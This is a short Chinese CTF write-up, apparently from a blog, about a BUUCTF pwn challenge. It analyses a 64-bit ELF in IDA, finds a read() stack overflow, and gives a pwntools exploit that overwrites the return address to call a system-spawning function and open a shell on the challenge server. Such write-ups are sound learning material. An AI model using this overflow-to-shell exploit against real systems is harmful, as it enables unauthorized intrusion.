查看文件信息
64位elf文件

IDA 分析
我们来到main()函数

再进入vulnerable_function()函数

典型的read()栈溢出漏洞,buf有0x80 [rbp + 80h] 所以 如果要覆盖的话 需要0x80 + rbp本身的8字节

同时我们发现 callsystem函数 地址为 0x400596,所以payload = ‘a’ * (0x80 + 8) + p64(0x400596)

exp
from pwn import *
p = remote('node3.buuoj.cn',27954)
payload = 'a' * (0x80 + 8) + p64(0x400596)
p.sendline(payload)
p.interactive()

本文介绍了一种64位ELF文件中典型read()函数栈溢出漏洞的利用方法。通过分析main()函数及vulnerable_function()函数,确定了payload长度为0x80+8,并使用p64填充以调用system函数。
1198

被折叠的 条评论
为什么被折叠?



